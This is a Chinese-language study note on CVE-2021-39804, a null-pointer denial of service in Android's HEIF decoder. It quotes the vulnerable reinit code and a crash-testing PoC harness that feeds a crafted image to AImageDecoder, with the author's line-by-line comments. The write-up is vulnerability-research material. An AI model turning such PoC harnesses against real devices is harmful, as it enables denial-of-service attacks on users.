2023.09.11 补 2023.09.10

CVE-2021-39804 A-215002587 DoS High 11, 12, 12L

patch

分析

这个也不难分析,看patch就能看明白。传给atoi的值如果是nullptr,那么就会导致空指针解引用,最后dos。
漏洞发生在reinit函数中。

bool HeifDecoderImpl::reinit(HeifFrameInfo* frameInfo) {
    ......
    mRetriever = new MediaMetadataRetriever();
    ......
    mSequenceLength = atoi(mRetriever->extractMetadata(METADATA_KEY_VIDEO_FRAME_COUNT));
}

PoC

暂时没看明白PoC和漏洞之间的关系

#include "../includes/common.h"
#include <android/imagedecoder.h>
#include <binder/IPCThreadState.h>
#include <vector>

bool testInProgress = false;
struct sigaction new_action, old_action;
void sigsegv_handler(int signum, siginfo_t *info, void *context) {
  if (testInProgress && info->si_signo == SIGSEGV) {
    (*old_action.sa_sigaction)(signum, info, context);
    return;
  }
  exit(EXIT_FAILURE);
}

int main(int argc, char **argv) {
  // 检查命令行参数个数是否大于等于2
  FAIL_CHECK(argc >= 2);
  sigemptyset(&new_action.sa_mask);
  new_action.sa_flags = SA_SIGINFO;
  new_action.sa_sigaction = sigsegv_handler;
  sigaction(SIGSEGV, &new_action, &old_action);
  android::ProcessState::self()->startThreadPool();
  // 使用fopen函数打开了命令行参数指定的文件,并使用FAIL_CHECK宏检查文件是否成功打开。如果打开失败,则会终止程序
  FILE *file = fopen(argv[1], "r");
  FAIL_CHECK(file);
  // 将文件指针移动到文件末尾,并使用ftell函数获取文件大小。
  // 然后,再次使用fseek函数将文件指针移动到文件开头
  fseek(file, 0, SEEK_END);
  size_t size = ftell(file);
  fseek(file, 0, SEEK_SET);
  // 定义了一个std::vector<uint8_t>类型的缓冲区buffer,大小为文件大小
  std::vector<uint8_t> buffer(size);
  // 使用fread函数从文件中读取数据到缓冲区中
  fread((void *)buffer.data(), 1, size, file);
  fclose(file);
  // 解码测试开始
  testInProgress = true;
  // 声明了一个指向AImageDecoder类型的指针变量decoder
  AImageDecoder *decoder;
  // 使用AImageDecoder_createFromBuffer函数将缓冲区的数据传递给解码器,并返回解码结果。
  //如果解码成功,则调用AImageDecoder_delete函数释放解码器
  if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
      ANDROID_IMAGE_DECODER_SUCCESS) {
    AImageDecoder_delete(decoder);
  }
  testInProgress = false;
  FAIL_CHECK(decoder);
  return EXIT_SUCCESS;
}